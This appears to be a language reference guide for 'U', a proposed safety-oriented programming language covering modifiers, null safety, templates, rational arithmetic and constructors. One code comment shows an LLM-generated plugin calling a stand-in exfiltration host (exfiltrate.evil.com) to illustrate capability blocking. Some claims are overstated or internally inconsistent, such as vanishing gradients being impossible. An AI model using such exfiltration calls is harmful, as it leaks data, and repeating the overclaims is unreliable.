U Language Reference GuideCompanion to POPL 2027 · Anonymous submission
Overview

Why U?

Most languages aim for one pit of success. U aims for two — one for developers, one for every tool that reasons about the code afterward. To our knowledge, U is the first language designed for two audiences at once: humans who write and review code, and LLMs that autonomously write, analyse, and reason about large codebases.

Pit 1 — For developers: the easy path is the safe path

A function written in U with no annotations is already correct by default. Parameters are local, immutable, and non-null. The compiled output uses no heap allocation, no ARC operations, no locks, no null checks. You get the safest and fastest possible program without writing a single modifier.

Every cost you might want to add — heap allocation, mutability, shared ownership, async suspension, nullable values — requires an explicit + annotation. You cannot accidentally pay for something you didn't ask for. You cannot accidentally make something unsafe without a visible opt-in. The pit of success means the path of least resistance is also the path of least risk.

Uzero annotations = maximum safety
// No annotations — you still get all of this for free:
f process(data: [N], label: S) -> Stats
    total = data.reduce((acc, val) => acc + val, 0.0)
    r => { total, mean: total / data.length, label }

// ✅ No heap allocation       (-R default)
// ✅ No null dereference       (-N default)
// ✅ No data race              (-R: nothing shared)
// ✅ No ARC cost               (-R: no refcount)
// ✅ Zero-copy return          (r.field = DPS)
// ✅ Bounds-safe iteration     (.on() / .reduce())
// ✅ 1-based indexing          (arr[1] = first, arr[arr.length] = last)

Pit 2 — For tooling: declared structure beats inferred structure

Today when a compiler, static analyser, or LLM inspects a codebase, it performs expensive reconstruction work: inferring ownership patterns, guessing threading assumptions, rebuilding the call graph, reconstructing what each binding is supposed to mean. That work is paid on every query, produces approximations, and is discarded at session end.

In a U codebase, every binding site is a machine-readable declaration of intent. +R+M(MVCC) says exactly how a shared object behaves under concurrent writes. +N marks every nullable boundary. ! NetworkError declares exactly what can fail. The entire semantic structure of the program is explicit in the syntax — not buried in conventions, comments, or commit history.

A property the compiler could infer is not the same thing as a property the author declares. Inference recovers what the code currently is; a declaration records what the author meant — and only the second survives change, crosses a library boundary, and outlives the moment it was written. A declared -E/-D turns a later edit that violates it into a compile error at the offending site, instead of a downstream assumption that silently goes wrong. A caller reads a declared contract off the signature without re-analysing source it may not even have. So a writer carries a real responsibility toward many readers downstream: the annotation is written once and read on every future query, dependency, and edit, and the small discipline of declaring intent compounds into coherence across a codebase and across everyone — human or model — who touches it later. This is sharpest when the author is an LLM, which has no memory of what it intended in a previous session: the declared annotation on the signature is that externalised memory, read by the next invocation as a fact rather than re-derived, possibly differently, from an intent that was never recorded. The cost is paid by inference-autofill and is near zero; the benefit — a persistent, contract-checked, O(1)-readable statement of intent — is exactly what an author without persistent memory needs most.

Existing language — inference every time

// Defined somewhere in the codebase:
function load_config() { ... }
// Tool must infer on every call:
// — is the return shared or local?
// — can it be null?
// — what write policy applies?
// — what errors can it throw?
// — does it escape its scope?
let config = load_config();
config.host = new_host;
// Expensive. Approximate. Repeated on every query.

U — structure declared once, read forever

// Declared ONCE on the function:
f load_config(): Config+R+M(MVCC) ! NetworkError ...
// Call site is clean — type inferred:
config = load_config()        // Config+R+M(MVCC) — inferred
config << { host: new_host }  // MVCC policy known from type
// O(1). Declared once, read everywhere.

This changes the economics of code analysis. An entire class of infrastructure bugs — data races, use-after-free, null dereference, async violations, injection attacks — is structurally impossible and doesn't need to be searched for at all. The bugs that remain are logic bugs, and they can be targeted precisely because the program's semantic structure is already declared.

The compounding effect. As codebases grow, the cost of inference scales with size and degrades as conventions drift. The cost of reading a type annotation is constant. A million-line U codebase is structurally transparent in a way a million-line TypeScript or C++ codebase isn't — every ownership boundary, every async crossing, every nullable value, every write policy is visible in the source, queryable in O(1), and verified correct by the compiler.
Designed for two audiences simultaneously

Every language before U was designed for one audience: the human developer. LLMs arrived later and had to reconstruct implicit structure — ownership patterns, threading assumptions, nullable boundaries — through expensive inference, on every query, discarded at session end.

In U, that structure is declared at the binding site, verified by the compiler, and readable by any tool in O(1). The same annotations that make code correct for humans make it legible for LLMs. To our knowledge, U is the first language that treats LLMs as a first-class consumer rather than an afterthought.

The compiler as free red team — and it compounds over time

LLMs are probabilistic. Compilers are deterministic. When an LLM writes U code and the compiler rejects it, that is a vulnerability caught before it runs — at zero marginal cost, exhaustively across every code path the type system covers. A second LLM review has correlated failure modes with the first. The compiler's failure modes are uncorrelated: it does not hallucinate, does not miss paths due to context length.

Anthropic can enhance U over time by observing LLM-generated code at scale — identifying new error patterns, adding new modifier dimensions, tightening new compile-time checks. No other language designer has a billion lines of LLM-generated code to learn from. The pit of success deepens with every version.

Fully typed. No escape hatches.

Every binding in U has a statically known type at compile time. There is no any, no root Object, no untyped back door. The :: is-a test is for narrowing only — checking whether a Shape is a Circle, whether an object implements Drawable. It is never needed to ask "is this typed?" because every value always is.

Java has Object casts. TypeScript has any. Go has interface{}. Swift has Any. U has none of these. If you cannot name the type of a value, the design is incomplete.

3Perspective

On LLMs and the Need for New Languages

A reasonable objection: large language models trained across millions of codebases already know the right patterns. They'll suggest MVCC over a raw mutex, typed errors over untyped exceptions, non-null defaults. Why build a new language?

Knowing a pattern and structurally enforcing it are different. An LLM can recommend MVCC but cannot prevent the next developer — or the next LLM call — from omitting the write policy on the following binding. The pit of success requires the correct path to be the easy path for every developer on every call, not only those who consulted the model at the right moment.

The compiler as uncorrelated red team. LLMs are probabilistic. Compilers are deterministic. When an LLM writes U code and the compiler rejects it, that is a vulnerability caught at zero marginal cost — exhaustively, across every code path the type system covers. A second LLM review has correlated failure modes with the first. The compiler's failure modes are uncorrelated: it does not hallucinate, does not miss paths due to context length, does not tire.

The four layers — what catches what

LayerWhat it catchesWhenCost
LLMPattern suggestions, architectural adviceDuring generationInference tokens
U compiler (static)Type errors, injection, null, data races, modifier violations, template structure, i18n keys, regex syntax, capability surfaceBuild timeZero marginal
z f standard libraryHTML attribute types, SQL schema, CSS properties, URL schemes, ReDoS patterns, locale bundle completenessBuild timeZero marginal
JIT compiler (runtime)Same as static — for dynamically loaded modules and templatesLoad timeOnce per load
Runtime provenanceTemplate path against org policy, content hash integrity, capability surface of loaded pluginRuntimeHash check
Safebox (infrastructure)Process-level isolation, network policy, file system access, capability manifest enforcementRuntimeKernel

JIT loading makes LLM-generated plugins safe

When an LLM generates a plugin at runtime — a capability, a template, a workflow — U's JIT compiler analyses it before it executes. The plugin's o declarations are extracted, checked against what the caller is willing to grant, and type-verified against the declared interface. An LLM hallucinating a Network.HTTP call inside a plugin that was only granted Templates access gets a CapabilityError before a single line of its code runs.

Ullm-plugin.u
// LLM generates a plugin at runtime:
plugin: SummaryPlugin+A = a o(llm_generated_path, {
    Templates,                   // grant: can use template tags
    Network.LLM.Summariser       // grant: can call the summariser LLM
    // NOT granted: FileSystem, Network.HTTP, Network.SMTP
})
// If LLM plugin tries to fetch("https://exfiltrate.evil.com") → CapabilityError
// If LLM plugin tries to send email → CapabilityError
// If LLM plugin passes S where Templates.HTML expected → type error
// All caught before execution. Zero runtime damage.

Provenance means bad LLM content can't reach sinks

If an LLM generates email body content as raw S, it cannot be passed to SMTP.send() which requires Templates.HTML. The LLM must produce content through the template system, which validates structure, escapes injection, checks attribute types, and records provenance. The runtime then verifies provenance against org policy. An LLM cannot accidentally (or adversarially) inject malicious content into an email, SQL query, or HTML page — not because we filter output, but because the type system makes it structurally impossible.

Declared annotations cost O(1) to read; re-inferring structure on every LLM query scales with codebase size. A modifier-annotated U codebase gives any LLM a machine-readable fact database at every binding site — ownership, mutability, nullability, async domain, write policy, error surface. The same annotations that enforce correctness for humans give LLMs O(1)-readable facts they would otherwise spend tokens reconstructing.

How U compares to other languages: magarshak.com/languages.html →

Coming from Python? magarshak.com/python.html →

Guide

Contents

00Why U?Two pits of success — for developers and for tooling 01CommentsLike C · /* */ nesting supported 02Primitives & LiteralsI N S L B V — single-letter types, width suffixes 03.5ParenthesesNo {} · () for blocks and grouping · last expr is value 03.6ComprehensionsShorthand {host, port} · spread {...obj, key: val} 03VariablesInferred types · ASCII identifiers · single letters ok except keywords 04Functions & Lambdasf named · => lambda · r return · zero-copy DPS 04.5Closures & Arrowsf hoisted + named · () => anonymous + captures t · modifier rules apply 05KeywordsAll 9, single letter — complete and settled 06Modifiers8 commutative dimensions · zero annotation = safest & fastest 05.5Namespaces & Moduleso keyword · import · export · t inference · multi-file extension 06.5+F Function ModifierT +F = any callable producing T · bare form most general 07Classes & Selfd · : inheritance · +P policy · no multiple inheritance 07.5Type Hierarchiesd Foo.Bar : Foo · enum replacement · typed dispatch · +G static 07.6InterfacesStructural inference · comma-separated parents · f method()! abstract · never static 08MapsDynamic keys · full modifier enforcement on values 08.5Magic Methods__hash__ · __equals__ · __pack__ · __unpack__ · __merge__ 09Null Safety-N default — null dereference is a compile error 10Conditionals?! : & | ?? — no if/else/switch/match keywords 11Iteration.on() replaces all loops · always bounded · pipelines 11.5Ranges1..5 · * step · scalar lift · array slicing · zero allocation 12Generatorsw loop · y yield · w+I intentionally infinite 13Error Handlinge throw · e.on() typed handler chain · object interfaces · x: ErrType 14Async & Red-BlueCoroutines · V8-style continuations · async coloring solved 15Async — f+A and aAuto-await default · f+A async modifier · T +A pending type 15.5+A as Pending Typea and +A inferred from a · exactly two valid call forms 15.6Zero-Cost PrincipleLazy materialization · no cost unless both conditions hold 15.7BackpressureT +A return in .on() → bounded concurrency, no primitives 16Scheduler & Yielda; cooperative · a n timed · toposort · typed pub/sub 17Proxy Policies+R(RAII) / +M(Actor|MVCC|CRDT|Mutex) · class-level or binding-site 18Templates & i18nhtml/sql/msg interpolation escaped at compile time · injection = type error 19Arithmetic SafetySafe by default · ! to opt out · compiler elides proven checks 20Memory ModelTiered from type · ARC without atomics · no GC pauses 21Copy — cOnly explicit copy mechanism · lazy COW · free when refcount=1 22Zero-Copy ReturnsDestination-passing style · compiler-guaranteed, not hoped for 23Defaults-R -M -N: zero annotation = max safety and max speed simultaneously 24Safety by Construction11 error categories — type errors, not runtime crashes 17.5Access PoliciesRAII · ARC · MVCC · CRDT · Actor · vs GC languages 17.6MVCC DefaultDefault write policy · atomicity · rollback on exception 23.5vs C++, Java, Rust, GoExceptions · RAII · null safety — detailed comparison 25vs Go / JS / SwiftColoring solved · no microtask starvation · lean continuations 26vs Rust / ZigMultiple writers via proxy · modifier replaces borrow checker + allocator param 24JIT LoadingRuntime module loading · z f · TemplateLang! · provenance · capability grants 30Program = Graph+A edges · demand-driven dataflow · reactive · lambda calculus parallel · five interpretations 27Formal Guarantees22 theorems · 8 corollaries · all proved in the λ_U calculus

Seven modifier dimensions replace escape analysis, alias analysis, null checks, ARC atomics, async coloring, injection vulnerabilities, and i18n errors. Each annotation is a proved safety invariant and a compiler oracle. The zero-annotation default is the safest path and the fastest path.

Overview

U — Where the Easy Path Is the Safe Path

U is a systems programming language built around one insight: type annotations serve two clients simultaneously. The programmer gets safety guarantees. The compiler gets optimization licenses. Same annotation. Both benefits.

Default costs: The zero-annotation default -R -M -N is the safest path and the fastest path. Every cost — heap allocation, mutability, nullability, sharing, async survival — is opt-in with an explicit +. You cannot accidentally pay for something you didn't ask for.

Scannability. Single-character keywords (f d a r t w e o c z) act as visual anchors — your eye recognises structure before reading words. f+A is an async function. r => is the return. a forks without waiting. Experienced readers parse a function's shape in under a second, the way a musician reads notation rather than spelling out note names. Combined with no braces, no semicolons, and safety that eliminates defensive boilerplate, U code is typically 30–40% shorter than equivalent Python or TypeScript — and faster to scan than either.

Naming convention: snake_case everywhere except types. Methods, fields, variables, parameters, and module names use snake_case. Types, classes, and error names use PascalCase. This is enforced by convention, not by the compiler (the compiler only enforces identifier length and keyword collisions).

Acronyms are words — always lowercased in snake_case, first-letter-only in PascalCase:

parse_urlnot parse_URLmethod
http_clientnot HTTP_clientvariable
json_decodenot JSON_decodemethod
to_utf8not to_UTF8method
HttpClientnot HTTPClienttype
JsonParsernot JSONParsertype
Eip712Signernot EIP712Signertype

Why snake_case? U's modifiers use capital letters (+R, +M(MVCC), +V). Types are PascalCase (Config, DbConn). If methods were also mixed-case (getUserById), capitals would mean three different things in one line. With snake_case, every capital letter in a line signals a type or a modifier — never a word boundary inside an identifier. The annotations that are U's core feature become instantly scannable.

Bugs the compiler catches — a sampler

Every row is a bug that cannot compile in U. No runtime check needed — the program won't build until it's fixed.

Bug classCode that won't compileWhy / how to fix
Null dereference
f greet(name: S +N) -> S
	r => "hi " + name  // ✗ might be null
Values are non-null by default. If you opt into +N, you must check first: name ?? "stranger"
Use after free
cache: [Point] +R +M = []

f process(pt: Point) -> none
	cache.push(pt)  // ✗ pt is stack,
	// cache is heap — pt dies when
	// process() returns
Can't store a stack value on a heap object. Fix: cache.push(c pt) copies it, or declare pt: Point +R.
Data race
total: I = 0
[1..1000].on(idx => (
	total += 1  // ✗ can't mutate
))
Variables are immutable by default. To share across threads: total: I +M(Mutex) = 0
Mutating a constant
config = {host: "localhost"}
config << {port: "8080"}  // ✗ immutable
<< mutates — needs +M. Or create a new one: {...config, port: "8080"}
Ignoring an error
// parse() can fail with ParseError:
f parse(raw: S) -> I ! ParseError

result = parse("abc")
use(result)  // ✗ error not handled
If a function declares ! ErrorType, the caller must handle it — can't silently ignore.
Wrong error caught
// JS: catch(e) { } — catches everything
// Go: if err != nil — loses the type

// U: set up policies, then happy path
f load_user(id: I) -> User ! NetworkError ! ParseError
	e.on(network_policy, parse_policy)
	// happy path — no try/catch nesting
	raw = fetch("/users/" + id)
	r => parse(raw)

// Policies are reusable typed lists:
network_policy = [
	(err: Timeout) => retry(),
	(err: DnsError) => fallback()
]
x.on() (or e.on()) registers typed handler lists at the top. Happy path reads linearly. Add a new type to x: → compiler can flag unhandled exceptions.
Forgotten enum case
// Shape gains a new variant Triangle:
d Triangle : Shape
	base: N = 0.0

// Every .on() with Shape handlers:
shapes.on(
	(sh: Circle) => ...,
	(sh: Rect) => ...
)  // ✗ error: Triangle not handled
No enum keyword — just classes. .on() checks exhaustiveness against the hierarchy. Add a variant → every handler site is flagged.
SQL injection
table = user_input()
query = sql\`SELECT * FROM {table}\`
// ✗ can't interpolate a raw string
Template tags validate what goes in. A raw S in a SQL template is rejected at compile time.
Missing parallelism
prices: [N] = load_prices()
totals = prices.map(calc)  // ⚠ warning
You have a list of numbers but didn't mark it +V. Add +V and the loop auto-vectorizes.
Forgot to await
// JS: silently returns a Promise object
result = fetch("/api")  // oops, it's a Promise
log(result.name)  // undefined — no error!

// U: auto-materializes when assigned to non-+A
// Same principle as Q → N materialization
result = a fetch("/api")  // +A future
log(result.name)  // auto-awaits here ✓
Any function can call a fetch(). When the result is used as a concrete value, the compiler auto-awaits. No coloring, no forgotten await.
Float rounding
// JS: 0.1 + 0.2 === 0.30000000000000004
// U: exact until you need a float
ratio = 1 / 3          // Q(1,3) — exact
total = ratio * 3       // Q(1,1) = 1 — exact
price: N = 1 / 3        // 0.333... — only now
cents: I = 499 / 100    // 4 — truncates here
I/I produces Q (deferred rational). Arithmetic stays exact until assigned to N or I, avoiding classic float surprises.
Off-by-one / bounds
// C: for(i=0; i<=n; i++) a[i]=... // 💥
// JS: arr[arr.length]  // undefined
// JS: arr[arr.length-1] // last — why -1?

// U: 1-indexed, no manual loops
items[1]              // first ✓
items[items.length]   // last ✓
items[0]              // ✗ compile error
[1..n].on(idx => ...) // bounds managed
1-indexed arrays + .on() instead of loops = no fence-post errors, no length-1, no writing past bounds.
Lost database update
account: Account +M(MVCC) = ...
account.balance = 500  // ✗ error
MVCC objects need << (which retries on conflict). Direct assignment would lose concurrent writes.
GPU memory leak
tensor: [N+V] +R(GPU) = compute()
// function ends without releasing
// ✗ error: GPU memory not freed
GPU allocations have automatic cleanup. If the compiler can't prove cleanup runs, it's an error.
Spaces instead of tabs
f greet()
    r => 42  // ✗ spaces detected
U uses tabs. Leading spaces are a compile error — no formatting debates, ever.
What remains are logic bugs — the kind that require tests and human judgment. Everything structural (memory, concurrency, types, null, injection, indentation) is handled by the compiler. The bugs that survive are the ones worth spending time on.
Uhello.u
// No annotations — local, immutable, non-null, zero cost
f main()
    greeting = "Hello, world!"    // S -R -M -N — inferred
    console.log(greeting)

// greeting is:  local (no heap),  immutable (no lock),  non-null (no check)
// The compiler emits zero allocation, zero null check, zero ARC operation.
01Syntax

Comments — like C, but /* */ supports nesting

Single-line // and block /* */, identical to C. The one difference: block comments nest. This means you can wrap any section of code in /* ... */ without first checking whether it already contains block comments.

Why nesting matters: In C, commenting out a block that contains /* already commented */ ends the outer comment early, leaving the rest as live code. U's nested /* */ means comment-out always works, regardless of what's inside.
C / C++ /* f() /* deprecated */ g() ← LIVE! outer ended */ inner */ ends outer comment g() compiles as live code U /* ← depth 1 f() /* deprecated */ ← depth 2, then 1 g() ← still commented out */ ← depth 0, done inner */ just decrements depth g() stays inside the comment
Ucomments.u
// Single-line — to end of line

/* Block — spans lines */

/* Nesting works — unlike C
   /* inner comment */
   still commented out here
*/

/* Comment out any block safely, even if it has block comments inside:
    f old_version(data: [I])  /* deprecated */
        process(data)
*/

f add(a: I, b: I) -> I  // inline is fine too
    r => a + b
02Types

Primitives & Literals

All primitive types are single uppercase letters. Width specifiers suffix the letter. No verbosity — I not int32_t.

TypeMeaningWidth variantsLiterals
ISigned integerI8 I16 I32 I6442  -7  0xff
UUnsigned integerU8 U16 U32 U64255u  0b1010u
NFloat (number)N32 N643.14  1.0e-9
QRational pair — exact · symbolic by default · =! materialisesQ  Q2  Q5  Q32nQ(1,3)  1/3
SString (UTF-8)"hello"
LLogical (Boolean)true  false
BByte0x000xFF
CComplex numberC64   C128C64   C128
noneNull literaltype T+N
trueLogical truetype L
falseLogical falsetype L

C (Complex)C64 = two N32 (real+imag) · C128 = two N64. NumPy convention. .re / .im accessors. Supports + - * / @ ^.

B (Byte) — protocol boundary type. Bitwise ops only (~&, ~|, ~^); no arithmetic. [B] is the input type for all template tags (capnproto, le/be, etc.) and crypto primitives. Use U8 when numeric intent matters.

Uliterals.u
count  = 42          // I  inferred
small: I32 = -7     // I32 explicit width
ratio  = 3.14        // N  float64
price  = Q(1,3)       // D  exact decimal, no float rounding
msg    = "Hello!"    // S  UTF-8 string
alive  = true        // L  logical
nothing: I+N = none // nullable integer — requires +N annotation

// Ranges — produce iterable values
exclusive = 0..10     // [0,10) — 0,1,2,...,9
inclusive = 1..=5    // [1,5]  — 1,2,3,4,5

regex`...` — compile-time validated pattern literal

Regex patterns use the regex`...` template literal, not a string constructor. The compiler validates the pattern at build time, pre-compiles it, and types it as Regex. Flags appear as a suffix after the closing backtick. Interpolation accepts only Regex sub-patterns — raw S values are a compile error (a string injected into a pattern could contain unescaped special characters).

Consistent with the template system: just as S is auto-escaped in html`...` and parameterized in sql`...`, it is rejected entirely in regex`...` — there is no safe way to interpolate a raw string into a pattern. Only Regex sub-patterns may be composed.
Uregex.u
// Compile-time validated and pre-compiled:
email = regex`[a-z]+@[a-z]+\.[a-z]+`i    // Regex — flag i after backtick
digits = regex`\d+`
spaces = regex`\s+`g

match = email.match(input)                // returns [S]+N
clean = spaces.replace(text, " ")

// Compose Regex sub-patterns via interpolation:
prefix: Regex = regex`[A-Z]{2,4}`
code:   Regex = regex`\d{3}`
full:   Regex = regex`{prefix}-{code}`  // ✓ Regex in regex`` = safe composition

// Compile error — S not allowed in regex context:
// pat: S = "\d+"
// broken = regex`{pat}`   ✗ S cannot be interpolated into regex``

// Invalid pattern = compile error:
// bad = regex`[unclosed`  ✗ syntax error at compile time, not runtime
Types

Q — Rational Pair Arithmetic

Q stores (numerator, denominator) as N64 floats used purely as integers. IEEE 754 doubles represent all integers below 253 exactly — so Q arithmetic on practical denominators is exact with standard hardware. Q replaces D entirely.

TypeMeaning
QFlat, unconstrained rational pair
Q2Denominator ≤ 100 — exact currency (2 decimal places)
Q5Denominator ≤ 105 — 5 decimal places
Q32nSymbolic, nesting depth ≤ 32

Symbolic by default — the pit of success

= keeps Q expressions symbolic (nested, deferred). =! materialises NOW — forces one IEEE division. Assignment to non-Q context also auto-materialises.

Uq_arithmetic.u
// = is symbolic by default — no IEEE arithmetic yet:
result = Q(1,3) * Q(3,5)   // Q(Q(1,3), Q(3,5)) — symbolic
chain  = result / Q(2,7)    // still symbolic — one more level

// =! materialises NOW:
flat  =! chain              // ONE IEEE division — maximally stable
num: N  = chain             // auto-materialises to float
chain.__string__()            // auto-materialises for display

// Exact comparisons — always correct:
Q(1,10) + Q(2,10) == Q(3,10)   // TRUE — 0.1+0.2==0.3
Q(1,3) * 3 == Q(1,1)         // TRUE — 1/3 * 3 == 1

// I / I returns Q — no silent truncation:
third  = 1 / 3              // Q(1,3) — not 0
1 // 3                      // floor division → I(0)

// Special values:
Q(1, 0)   // w (positive infinity)
Q(-1, 0)  // -w (negative infinity)
Q(0, 0)   // none (undefined)
Q(1, w)   // 0 in the limit (infinitesimal)
Vanishing gradients are impossible under Q. A product of nonzero Q values is always nonzero — exact integer multiplication cannot underflow. ResNet skip connections, LSTM gating, gradient clipping exist primarily to fight float underflow. Under Q with cleanup, they are architecturally unnecessary.
03.6Syntax

Comprehensions & Spread

Shorthand literal syntax for constructing objects and maps from existing values. Works for class instantiation and map literals.

Ucomprehensions.u
// Shorthand: variable name used as key
host = "localhost"
port = 8080
config = Config( host, port )        // Config({ host: host, port: port })

// Spread + override: ... spreads all fields, then overrides
new_config = Config( ...config, host: "newhost" )
new_map    = { ...meta, "version": 4 }                // map spread

// Works in any expression context
servers = configs.map((cfg) => Server( ...cfg, active: true ))
03Types

Variables & Type Inference

U infers types from the right-hand side. Annotations are optional — add them only when you want to change the defaults. Default modifiers depend on what is being declared:

Objects have a fixed set of properties — they are not maps or bags. +M on an object means existing properties can be mutated, not that new ones can be added.

Assignability: a +M ref can always be assigned to a -M ref; a +R ref to a -R ref. Never the reverse.

-M collections and objects must be initialized with already-constructed values — no +N placeholder slots needed. The compiler constructs values in-place, eliminating copies.

Identifier rules. Identifiers are ASCII [A-Za-z_][A-Za-z0-9_]* — letters, digits, underscore; must start with a letter or _; no Unicode (that belongs in string literals, where look-alike characters can't silently create two different names), no $. Single-letter names are fine except the reserved keyword letters (a c d e f o r t w z) — so x, y, n, i as coordinates/indices are allowed and idiomatic, while c or f are rejected as they collide with keywords. T is the conventional single-letter type parameter. Copy and is-a are prefix operators (c expr and i(expr)), not methods, so single-letter member names collide with nothing: point.x, point.c, and node.f are all valid fields. The only reservation is on leading tokens — a statement or expression that begins with one of a c d e f o r t w z is read as that keyword — and .on() (subscribe/iterate) is a method on generators and event-emitting classes, not a reserved keyword. A leading _ marks a private member (_helper, _secret) — followed by a letter, never exported, not accessible outside its class. Enforced by the compiler.
Uvariables.u
// Inferred — all default to -R -M -N
count    = 0              // I  -R +M -N  (local mutable, class default)
ratio    = 3.14           // N  -R -M -N
greeting = "hello"       // S  -R -M -N
point    = { x: 1.0, y: 2.0 }  // {x:N,y:N} -R +M -N
items    = [1, 2, 3]      // [I] -R +M -N  — indexed 1..3

// Explicit — override inferred type or modifiers
shared: I+R+M   = 0     // shared mutable integer on heap
config: Config+R-M = load() // shared immutable Config
maybe:  User+N    = none // nullable User
width:  I32        = 640  // explicit 32-bit width
03.5Syntax

Parentheses — Grouping and Block Scope

U has no {} curly braces. () are the only grouping construct. Inside parentheses, newlines are free — the expression continues until the closing ). The last expression inside a block is its value. This applies everywhere: argument lists, conditions, chained operations, multi-statement blocks.

Commas and newlines are interchangeable inside (). A comma means "next statement" exactly as a newline does, enabling compact inline blocks: (a = f(), b = g(a), a + b) is identical to the three-line form.

No curly braces anywhere in U. Function and class bodies use indentation. Inline multi-line expressions use (). Everything is an expression, so a () block produces a value.
Indentation is tabs, and this is settled — not a preference. U ends the tabs-versus-spaces war by choosing: one leading tab per nesting level, always. A leading space where a tab is expected is a compile error, so a file cannot mix the two and no formatter config is needed — every U file indents identically. Spaces are still free after the first non-tab character, for intra-line alignment: lining up the arms of a ternary under ? and !, or aligning field types in a declaration, is encouraged. The rule is precise: leading whitespace is tabs (structure), inner whitespace is spaces (alignment). Tabs for indentation also means each reader sets their own visual tab width without touching the bytes — the one honest answer to the width debate.
Uparens.u
// Grouping across newlines — continues until )
total = (
    subtotal
    + tax
    + shipping
)

// Block expression — multiple statements, last is value
result = (
    step1 = do_first_thing()
    step2 = do_second_thing(step1)
    step1 + step2       // ← value of the block
)

// Complex condition spread across lines
valid = (
    user.age >= 18 &
    user.verified &
    !user.banned
)

// Argument list — newlines freely between args
response = submit_order(
    order_id,
    items.on((i) => c+R i),
    shipping.address,
    payment.token
)

// Pipeline of operations that would be awkward inline
processed = (
    raw  = a fetch(url)
    clean = sanitize(raw)
    valid = validate(clean)
    valid               // ← returned value
)

// Chained method calls broken across lines
summary = (
    orders
        .on((order) => order.paid)
        .on((order) => order.amount)
        .reduce((acc, amt) => acc + amt, 0.0)
)

// Ternary branches using () for multi-line without indentation rules
label = count > 0
? (
    plural = count > 1
    plural ? "{count} items" ! "1 item"
)
! "empty"
04Functions

Functions & Lambdas

Modifiers follow the keyword they qualify: f+G, f+V, f+A. A modifier on a function attaches directly to the f (f+G decompress(...) -> [B]), never before it — the same rule as data modifiers (N32+V, Vec2+R) and the copy operator (c+R(GPU)). The +X always trails the token it modifies. The return type uses the arrow ->: f+G variant(id: S) -> L. Multiple modifiers concatenate: f+G+E log(...).
t. is optional for own-member access. Inside a method, a bare name that resolves to a field or method of the enclosing class needs no t. prefix — from_hex(x) and t.from_hex(x) are equivalent when from_hex is a member. Write t. explicitly only to disambiguate a shadowed local or for emphasis. This mirrors the zero-annotation-common-case philosophy: the compiler already knows statically whether a name is a member.

Named functions use f. Lambdas use => alone. Two distinct return models:

( ) bare expression blocks follow lambda semantics — last expression is the value. Implicit none in L+N contexts. When a method expects a handler of type F(...) → L+N (all iteration methods) and the lambda body returns a type that doesn't satisfy L+N, the compiler implicitly returns none. This is the pit of success for iteration: writing a side-effect lambda and falling off the end automatically signals "continue" — you only write true when you mean "stop."

Handler lambdas in .on(), .filter(), and .find() exploit this — returning none, false, or true as the three-signal directly. r.field = ... writes into the caller's pre-allocated stack slot — no copy on return.

Ufunctions.u
// Named function
f add(left: I, right: I) -> I
    r => left + right

// Short form — expression body
f square(val: N) = val * val

// Lambda — => implies anonymous, no f needed
double    = val => val * 2
increment = val => val + 1

// Multi-expression lambda — last expression is the return value
clean = item => (
    trimmed = item.strip()
    trimmed.lowercase()   // returned
)

// Return-by-construction — r.field writes into caller's pre-allocated slot
// No copy on return. Destination-passing style, guaranteed by the type system.
f build_user(name: S, age: I) -> User
    r.name = name    // writes directly to caller's frame
    r.age  = age     // no copy occurs at return

// Default parameters
f connect(host: S, port: I = 8080) -> Connection+R+M+N
    r => tcp.dial(host, port)

// Higher-order — F(I)->S means "function taking I, returning S"
f apply_twice(fn: F(I)->I, val: I) -> I
    r => fn(fn(val))

result = apply_twice(double, 3)  // 12

Optional named parameters — {} at end

The last parameter may be an anonymous typed map, destructured by the compiler. Named params are optional, have declared types and defaults, and never break existing callers when extended. Constructors follow the same rule: class fields without defaults become positional parameters; fields with defaults go in the trailing { } bag. Constructors are just __setup__ functions — no special case.

Rules:
• Positional params: required, ordered, no defaults — always honest
• One {} at the end: anonymous destructured map, defaults allowed
• No defaults on positional params — ever (compiler error)
• No anonymous {} in middle positions — use a named class there
Unamed-params.u
// {} at end — optional named params with defaults
f fetch(url: S, count: I, { timeout: I = 30, verbose: L = false })

fetch("api.com", 5)                           // all defaults
fetch("api.com", 5, { verbose: true })         // one named
fetch("api.com", 5, { timeout: 60, verbose: true }) // two named

// Adding new optional never breaks callers:
// f fetch(url: S, count: I, { timeout: I = 30, verbose: L = false, retries: I = 3 })
// All existing call sites still work unchanged

// {} in middle? Use a named class instead:
d FetchOpts { timeout: I = 30 }
f weird_func(x: I, opts: FetchOpts, y: S)     // explicit, named
weird_func(5, FetchOpts( timeout: 60 ), "hi")

// ❌ No defaults on positional params — compile error:
// f bad(x: I, y: I = 5)  ← banned

Instantiation — ClassName({ field: value })

No new keyword. Constructors are just __setup__ functions — no special case. The compiler auto-generates one from the class fields following the universal function rule: fields without a default are positional; fields with a default go in the trailing { } options bag. You can also pass a variable as the options bag.

This makes every constructor consistent with every other function in the language.

Uinstantiation.u
// Fields without default → positional. Fields with default → { } bag.
d User
    id:    I             // required — positional in __setup__
    name:  S             // required — positional
    email: S = ""        // optional — goes in { } bag
    admin: L = false     // optional — goes in { } bag

// Auto-generated __setup__ (what the compiler produces):
// f __setup__(id: I, name: S, { email: S = "", admin: L = false })

// Call sites:
alice = User(1, "Alice")                              // required only
bob   = User(2, "Bob", { email: "[email protected]" })          // one optional
admin = User(3, "Admin", { email: "[email protected]", admin: true }) // two optional
guest = User(opts_bag)                                  // variable works too — destructured

// Custom __setup__ — same rule, just written explicitly:
d Config
    host:  S = "localhost"
    port:  I = 8080
    debug: L = false

    f __setup__({ host: S = "localhost", port: I = 8080, debug: L = false })
        validate(t.port > 0)                            // custom logic before init

cfg  = Config({})                                       // all defaults
prod = Config({ host: "prod.api.com", port: 443 })

Fields are initialized before __setup__ runs, always

U is opinionated here rather than leaving it ambiguous: whether or not a class defines a custom __setup__, every field whose name matches a key in the passed map — or has its own declared default when the caller omits it — is set before __setup__'s body executes. This avoids surprises on both sides: the caller never has to wonder whether a field they set will silently be ignored by a custom initializer, and the initializer's author never has to manually re-list every field just to avoid leaving one uninitialized. This is why the Config example above can read t.port inside __setup__ without ever assigning it first — it's already there.

Keys in the passed map that don't match any field name are not auto-assigned anywhere — they're simply made available to __setup__ as ordinary local variables, exactly like any other named parameter, if and only if __setup__ itself declares them. A key matching neither a field nor a declared __setup__ parameter is silently dropped — the same "surplus argument dropping" rule described below, applied to named map keys instead of positional arguments.

Uinit-order.u
d Point
    x: N +M
    y: N +M

    // radius/angle match no field — they're plain locals here,
    // used to COMPUTE x and y rather than being assigned directly
    f __setup__({ radius: N = 1.0, angle: N = 0.0 })
        t.x = radius * cos(angle)   // x/y start at their OWN declared
